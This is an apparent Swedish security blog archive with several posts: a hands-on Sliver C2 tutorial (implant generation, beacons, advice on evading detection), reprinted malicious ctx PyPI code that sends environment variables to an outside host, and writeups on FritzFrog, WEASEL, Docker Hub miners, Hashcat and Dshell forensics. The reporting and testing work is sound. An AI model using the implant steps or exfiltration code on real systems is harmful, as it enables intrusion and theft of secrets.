Taggat med: Github

Test av attack-ramverket Sliver

Sliver logo

Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.

Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).

Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:

  • Mutual TLS (mtls)
  • HTTP/s
  • DNS
  • Wireguard

Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.

Installation av Sliver

Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?

curl https://sliver.sh/install|sudo bash

Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.

Installationsvideo:

Installation av Sliver

Och skärmdump för att hamna i kommandoskalet:

Sliver C&C

Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:

sliver-se 113254 root 11u IPv6 142430 0t0 TCP *:31337 (LISTEN)

Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:

/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg

Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.

I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.

Skapa ett implantat

Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.

Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.

Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.

För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:

generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:

sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe

sliver >

Tittar vi lite närmare på filen ser den ut enligt följande:

┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep  2 09:04 implants/SHY_AIRSHIP.exe

Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:

sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe

sliver >

Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:

Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.

För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:

mtls sliver

Exekvering av implantatet

Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.

Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:

[*] Beacon 3430432f DOUBLE_MANAGEMENT - 41.33.120.5:64418 (DESKTOP-SZ3UOJ) - windows/amd64 - Sat, 03 Sep 2022 12:38:15 UTC

Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:

Sliver beacons

Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.

Demo:

Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.

Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.

Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:

[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)

Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:

sliver reconfig

Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:

  • Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
  • Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
  • Det finns ingen inbyggt persistens för implantatet, se följande issue.

Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.

Sliver hittar du på Github här:

Senaste versionen när detta blogginlägg skrivs är 1.5.25 och släpptes fredag den 5:e september 2022.

PyPi-paketet CTX och phpass hackade

PyPi-paketet CTX och phpass hackade

Uppdatering: Här kan du läsa om hur sockpuppets genomförde attackerna i ”gott syfte”.

Två populära tredjepartsbibliotek har blivit hackade och en bakdörr har placerats i dessa paket. Det rör sig om python (pypi) paketet ctx samt php-biblioteket phpass. Totalt rör det sig om cirka tre miljoner användare av dessa två bibliotek.

För php-bakdörren kan man titta på följande kodsnutt. Och anledningen till att bakdörren kommer in i system är för att github-kontot hautelook raderades och någon annan skapade ett nytt konto.

Nedan följer ctx python-koden som exfiltrerar miljövariablarna där koden exekveras:

 def __init__(self):
        self.sendRequest()
    .
    .  # code that performs dict access
    .  # please DO NOT RUN THIS CODE !

     def sendRequest(self):
        string = ""
        for _, value in environ.items():
            string += value+" "

        message_bytes = string.encode('ascii')
        base64_bytes = base64.b64encode(message_bytes)
        base64_message = base64_bytes.decode('ascii')

        response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)

För pypi-biblioteket är det troligtvis en password-spraying attack som lyckats mot det konto som har hand om ctx.

Att förhindra och försvåra attacker som använder sig av tredjepartsbibliotek är inte helt trivialt. Främst gäller det att isolera dessa paket, system och mjukvara så den inte kan ringa hem eller exfiltrera information. Dvs se till att ha en branväggspolicy som ej medger utgående trafik enkelt. Detta gäller även DNS som kan användas som kanal för att skicka ut information. Och glöm inte heller utvecklar-datorer, det gäller inte enbart servrar.

Github bör införa en längre grace-period på konton om det inte redan finns och pypi bör forcera multi-faktorsautentisering.

Nytt intressant malware: FritzFrog

👉 Stöd mitt bloggande via Patreon

FritzFrog Malware

FritzFrog är en ny typ av malware som är skrivet i programspråket Go och riktar sig mot servrar som exponerar SSH.

Den skadliga koden är modulärt uppbyggd och skriver inga filer till disk efter infektion. Det som kanske är mest intressant är att kommunikationen använder sig av ett helt egenutvecklat peer-to-peer protokoll.

Karta över infektioner från företaget Guardicore:

Vid infektion så startas en process vid namn ifconfig och nginx upp. Som lyssnar på TCP port 1234. Den skadliga koden är packad med UPX och efter att processerna startats upp så raderas filer på disk. För att undvika detektion på nätverket så tunnlas kommunikation över port 1234 via SSH. Denna kanal används även för P2P-protokollet som gör nyckelutbyte med hjälp av Diffie Hellman samt kryptering med AES.

Kommandon som kickas via P2P-protokollet:

Även så lägger den skadliga koden en publik nyckel till .ssh/authorized_keys för att ge möjlighet att ta sig in i systemet vid senare tillfälle.

Github så finns det IOC:er samt kod för att detektera FritzFrog. En av syftet med den skadliga koden är att utvinna kryptovalutan Monero med hjälp av mjukvaran XMRig miner som ansluter mot web.xmrpool.eu över port 5555.

Antalet attacker från nätverket har ökat stadigt sedan början på året:

Intresserad av botnets? Kolla in Guardicores Botnet Encyclopedia.

WEASEL – Ny bakdörr från Facebook

Facebook har släppt ett intressant nytt implantat (bakdörr) vid namn WEASEL. Mjukvaran är skriven i Python3 och utnyttjar DNS samt AAAA-records för att skicka och ta emot beacons. Den behöver inte heller några externa beroenden och kan således köras under de flesta operativsystem.

Ett implantat är en typ av mjukvara som används av angripare för att utföra olika uppgifter och kommunicera in och ut ur nätverk. WEASELs klientdel har inga direkta inbyggda funktioner förutom att sköta kommunikationskanalen, självradering och intervall för kommunikation. Vill du ha mer funktioner så får du själv bygga till det eftersom WEASEL stödjer exekvering (eval) av Python3-kod.

Fokus vid utvecklingen av WEASEL har varit på att försöka försvåra IT-forensiska undersökningar och därför finns ej stöd för persistens. Mjukvaran stödjer inte heller att flertalet operatörer jobbar mot samma instans.

För kryptering av data över DNS så används AES-128 i CTR mode samt Diffie-Hellman för nycklar. Oklart hur stödet för Windows ser ut men går säkert att åstadkomma med Pyinstaller.

Här hittar du WEASEL på Github:

Jag har tyvärr ej testat WEASEL ännu men har det på min todo-lista. Om du gör det eller redan testat så lämna gärna en kommentar om dina erfarenheter.

Bild på vessla av Keven Law – originally posted to Flickr as On the lookout…, CC BY-SA 2.0

Lista ut ålder på enheter via MAC-adressen

HD Moore twittrade nyligen om ett intressant projekt på Github vid namn mac-ages. Projektet mac-ages utnyttjar information om, när spann av MAC-adresser blivit registrerade. Detta går sedan att utnyttja för att relativt trubbigt lista ut hur gammal en enhet är.

mac-ages är en blandning av DeepMac samt WireSharks MAC-adresslistor uppger HD Moore.

Jag skrev ihop en snabb one-liner som tittar i min lokala dators arp-tabell och slår sedan upp den mot mac-ages:

$ git clone https://github.com/hdm/mac-ages
$ cd mac-ages
$ for a in `arp -na|awk '{print $4}'|grep -v ^1: |awk -F':' '{print $1 $2 $3}'`; do fgrep $a mac-ages.csv; done|sort -n -t, -k2

Resultatet från ovan blir då (maskat):

Tittar vi i ovan tabell så ser vi att enheten med MAC-adress som börjar på b8:27:eb är en BCM43438 (numera Cypress). Sitter faktiskt i en Raspberry Pi 3 och ser ut så här:

Oklart när den kom ut men 2012 låter inte helt orimlig, även de andra på listan tror jag stämmer någorlunda med avvikelser på ett eller två år.

HD Moores tweet:

Och för den som vill grotta ner sig ännu mer rekommenderar jag denna:

 

Bakdörrar identifierade på Docker Hub

Ett antal avbilder som återfinnes på populära Docker Hub innehåller bakdörrar. Dessa avbilder med bakdörrar har laddats hem mer än 90000 gånger.  Kontot som laddat upp dessa bakdörrar har namnet docker123321 och bakdörren utnyttjar användarens kapacitet för kryptovaluta-mining.

Det är totalt 14 stycken olika avbilder (images) som innehåller den skadliga koden rapporterar Kromtech Security Center. Totalt har 544.74 Moneros beräknats vilket motsvarar en vinst på ca 791 000 SEK.

Plånboken som tar emot Moneros är:

41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo

Och här är en skärmdump från Github gällande en av bakdörrarna som jack0 upptäckte och rapporterade till Docker:

Exempel på någon som upptäckt att en brandväggs-image innehöll miner den 7:de Augusti 2017:

Jag tror tyvärr att detta är en trend som kommer att öka. I takt med allt fler marknadsplatser såsom Docker Hub och Google Web Store så kommer även antagonisterna att utnyttja detta faktum. För tyvärr är det inte lätt att rapportera skadlig kod och de automatiska testerna som genomförs på sådant som laddas upp är bristfälliga.

Intressant att notera är även att Kromtech står bakom den kontroversiella mjukvaran MacKeeper.

Viktigt: Det vore mycket trevligt om du stödjer Kryptera.se via Patreon >

Unfetter – NSA:s nya verktyg för att upptäcka avancerade cyberattacker

Den amerikanska myndigheten NSA har tillsammans med det icke vinstdrivande företaget Mitre utvecklat ett nytt verktyg vid namn Unfetter. Med hjälp av detta verktyg så kan en organisation effektivare identifiera cyberattacker genom att fokusera på att upptäcka beteendebaserad metodik istället för indikatorer samt inspireras av Mitres tidigare projekt vid namn CAR och ATT&CK.

Verktyget finns tillgängligt som open-source via Github och jag har givetvis testat verktyget.

Först och främst så klonade jag hem repot som innehåller docker-compose.yml vilket används av Docker. Sedan skrev jag docker-compose up i katalogen för att ladda hem och starta upp sex stycken containers:

NSA unfetter Docker composer up

Den container som heter unfetter-discover-gateway ser till att exponera tcp port 80 samt 443 och surfar vi sedan in på https://localhost så möts vi (förutom ett certifikatfel) följande bild:

Där jag sedan har möjlighet att navigera vidare till någon av de vyer som finns förinstallerade via Kibana:

  • Threat Dashboard
  • Analytic Exchange
  • Assessments
  • Assessments 3.0
  • Intrusion Set Dashboard
  • Events Dashboard
  • API Explorer
  • STIX

Tanken är alltså att du ska skicka in data från olika klienter och servrar med hjälp av NXlog och sysmon exempelvis.

Följande övergripande arkitekturbild visar hur det hänger ihop:

Givetvis så följer det även med exempelkonfigurationer till både nxlog och sysmon.

Men den kanske mest intressanta frågan är: Hur upptäcks avancerade cyberattacker? Det är genom att koppla ihop olika indikatorer, exempelvis denna:

CAR-2016-04-005: Remote Desktop Logon

Vilket implementerar ungefär (pseudokod) följande regler på inkommande analyserade loggar:

[EventCode] == 4624 and
[AuthenticationPackageName] == 'Negotiate' and
[Severity] == "Information" and
[LogonType] == 10

A remote desktop logon, through RDP, may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.

Dessa indikatorer kan sedan kopplas mot Mitres ATT&CK och olika grupperingar såsom Equation Group (EQGRP) och deras modus operandi. Dock verkar det inte gå automatiskt i dagsläget och så här ser Intrusion Set Dashboard ut för Equation:

Equation Group

Vi kan även se att Equation har 2 av 219 attack patterns i det intrusion set som följer med Unfetter. För den som vill se hur logstash är konfigurerad mot sysmon kan kolla in följande konfigg-fil på Github.

NSA framhäver även att Unfetter inte är färdigt för att användas i produktion ännu:

This is not designed for production use

Analys av förundersökningsprotokollet från hackerhärvan

En hacker som skriver på ett tangentbord. Mycket avancerad hacker

Det senaste omtalade dataintrånget där fleratlet inblandade står åtalade har orsakat stor medial uppmärksamhet. Men hur avancerade var intrången och vilka metoder användes i hackerhärvan B 8322-16.

Förundersökningsprotokollet (FUP) innehåller mängder med olika åtalspunkter där många består i att skadlig kod har skickat i form av Word-filer där makron funnits bifogade. Dessa makron har sedan exekverat PowerShell-kod och efter detta har lösenord dumpats ut samt så har förflyttningar internt genomförts (lateral movements).

Vi kan utläsa att bl.a. den åtalade 37-åringen som varit ansvarig för dataintrången lagt ut uppdrag på sajten Freelancer.com för att få skadlig kod utvecklad.

Nedan skärmdump från Freelancer.com visar att 37-åringen vill ha en exploit utvecklad i C# för sårbarheten MS16-032 för ca 14 EUR vilket var det vinnande budet:

Denna exploit har sedan troligtvis används lokalt hos offren som fått Word-filer för att eskalera behörigheter, eftersom MS16-032 är en lokal sårbarhet.

Som kommunikation mellan personerna i ligan användes Jabber och enligt FUP:en så återfinns kortare utdrag av chatt-kommunikationen vilket indikerar på att historik lagrades eller frånvarande kryptering (hemlig telefonavlyssning av datatrafik).

Tittar vi på Github-sidan tillhörande 37-åringen så ser vi mängder med forkade repon som bl.a. innehåller PoshC2, laZange, Powershell-attacker samt lokala Windows-exploits.

Även återfinnes luckystrike som är ett verktyg för att skapa skadliga office-makron:

Som mail-tjänst användes bl.a. svenskutvecklade CounterMail. Jag kan även utläsa att flertalet olika BankID utnyttjats där man bl.a. kommit över någons SEB digipass för att sedan installera BankID på en iPad, detta för att komma åt bankkonton och ändra uppgifter hos Bolagsverket.

Falska snarlika domäner har registrerats där riktiga företaget har haft .se men bedragarna har registrerat .nu, även felstavningar av .se-domäner har registrerats och nyttjats för bedrägeri via E-post (falska intyg, pass osv).

Flertalet affärssystem har ändrats så att utbetalningsuppgifter går till bedragarna. Ett av affärssystemen som används var Microsoft Dynamics AX. De förekomster där bedragarna har blivit upptäckta är där manuella metoder varit inblandade och extra avstämningar har genomförts.

Slutsats

Min slutsats är att intrången inte var speciellt avancerade men utnyttjade det faktum att viss tillit finns mellan personer och företag och därmed användes social engineering.

Även har attackerna med tiden förfinats och blivit mer och mer avancerade. Av stor vikt är att monitorera exekveringar av PowerShell samt följ upp samtliga antivirus-larm i Er organisation.

🐈 Hashcat och oclHashcat nu öppen källkod

hashcat

Hashcat och oclHashcat har nu släppts som öppen källkod på Github. Verktygen används för att knäcka lösenord och är ett bra alternativ till John the Ripper. Att Hashcat nu är öppen källkod kommer eventuellt göra att stöd för fler plattformar och algoritmer kommer in snabbare samt så är det bra för många av oss som jobbar med slutna projekt.

World’s fastest and most advanced GPGPU-based password recovery utility

Främst används oclHashcat för dess stöd när det gäller GPU:er och (AMD) OpenCL samt (Nvidia) CUDA.

Även så stödjer hashcat hela 170 olika lösenordshashar från vanliga såsom MD5, SHA-512, SHA-3 och mer ovanliga såsom Streebog, Juniper, Lastpass och 1Password.

Hashcat Prestada

För att förstå hur bra prestanda hashcat har så finnes följande exempel med fyra olika datorer utrustade med diverse hårdvara:

  • PC1: Windows 7, 32 bit
  • Catalyst 14.9
  • 1x AMD hd7970
  • 1000mhz core clock
  • oclHashcat v1.35
  • PC2: Windows 7, 64 bit
  • ForceWare 347.52
  • 1x NVidia gtx580
  • stock core clock
  • oclHashcat v1.35
  • PC3: Ubuntu 14.04, 64 bit
  • ForceWare 346.29
  • 8x NVidia Titan X
  • stock core clock
  • oclHashcat v1.36
  • PC4: Ubuntu 14.04, 64 bit
  • Catalyst 14.9
  • 8x AMD R9 290X
  • stock core clock
  • oclHashcat v1.35

 

Hash Type PC1 PC2 PC3 PC4
MD5 8581 Mh/s 2753 Mh/s 115840 Mh/s 92672 Mh/s
SHA1 3037 Mh/s 655 Mh/s 37336 Mh/s 31552 Mh/s
SHA256 1122 Mh/s 355 Mh/s 14416 Mh/s 12288 Mh/s
SHA512 414 Mh/s 104 Mh/s 4976 Mh/s 4552 Mh/s
SHA-3 (Keccak) 179 Mh/s 92 Mh/s 3400 Mh/s 2032 Mh/s
RipeMD160 1810 Mh/s 623 Mh/s 23936 Mh/s 20016 Mh/s
Whirlpool 65845 kh/s 85383 kh/s 1480000 kh/s 1122304 kh/s
LM 1388 Mh/s 450 Mh/s 15616 Mh/s 16392 Mh/s
NTLM 16916 Mh/s 4185 Mh/s 250360 Mh/s 175808 Mh/s
NetNTLMv1 9108 Mh/s 2330 Mh/s 56448 Mh/s 97800 Mh/s
NetNTLMv2 589 Mh/s 200 Mh/s 7944 Mh/s 6496 Mh/s
WPA/WPA2 142 kh/s 48 kh/s 2096 kh/s 1536 kh/s

Länk till Github:

Nätverksforensik med Dshell från US Army

Den amerikanska militärens forskningscenter vid namn U.S. Army Research Laboratory har släppt ett verktyg för att analysera nätverkstrafik (nätverksforensik). Verktyget är skrivet i Python och ligger uppe på Github för vem som helst att ladda ner och testa samt skicka in förbättringsförslag.

Även så är Dshell modulärt och har stöd för att återskapa TCP-strömmar samt IPv4 och IPv6.

Installation Dshell

Följande kommandon exekveras för att installera paketberoenden på exempelvis Ubuntu:

$ sudo apt-get install python-crypto python-dpkt python-ipy python-pypcap python-pip unzip build-essential
$ sudo pip install pygeoip
$ wget https://github.com/USArmyResearchLab/Dshell/archive/master.zip
$ unzip master.zip
$ cd Dshell-master
$ make

Då var installationen klar och du bör ha en fil vid namn dshell.

Nätverksforensik med dshell

Om du ej sitter på inspelad nätverkstrafik i form av pcap-filer så kan du ladda hem någon av de publika filerna från Netresec:

$ wget http://download.netresec.com/pcap/maccdc-2012/maccdc2012_00016.pcap.gz
$ gzip -d maccdc2012_00016.pcap.gz

Dshell stödjer även att köras i realtid mot ett nätverkskort, använd då flaggan -i (för interface).

Finemang. Då startar vi dshell och listar de avkodningsmoduler som följer med som standard med decode -l

Dshell modulerFör att få hjälp med en specifik avkodningsmodul kan man skriva:

Dshell> decode -d rip-http -h

Vi vill nu testa rip-http som är en modul som extraherar hur nedladdningar över http. Vi ser även att det finns möjlighet att ange filändelse så vi anger att vi vill läsa ut alla .PNG-bilder:

Dshell> mkdir img
Dshell> cd img
Dshell> decode -q -d rip-http ../maccdc2012_00016.pcap --rip-http_name_filter="\.png"

Vi får då upp ett antal rader på skärmen som bekräftar att det identifierats PNG-bilder i nätverkstrafiken (eller åtminstone vad filändelsen säger).

Men det var ju mindre kul, låt oss istället försöka hitta på någon slags skadlig kod:

Dshell> cd ..
Dshell> mkdir files
Dshell> sudo apt-get install clamav
Dshell> cd files
Dshell> decode -q -d rip-http ../maccdc2012_00016.pcap

Sen väntar du ett bra tag på att samtliga nedladdningar ska skrivas ut till disk. Du kan testa att labba med -t och -p som står för trådat respektive parallella körningar.

När det är klart så kan vi testa att söka igenom samtliga filer med clamav:

$ clamscan -i -r

Och får då ut att ett antal suspekta filer identifierades:

/home/vagrant/Dshell-master/files/apache.php_: JS.Agent-144 FOUND
/home/vagrant/Dshell-master/files/apache.php: JS.Agent-144 FOUND
/home/vagrant/Dshell-master/files/apache.php__: JS.Agent-144 FOUND
/home/vagrant/Dshell-master/files/process.php: PHP.ShellExec FOUND

Det var väl ett trevligt verktyg för att utföra nätverksforensik? Intressant är också att det finns en decoder för INNUENDO DNS-kanal som skapats genom att observera en produktvideo från Immunity som är företaget som utvecklar INNUENDO-produkten.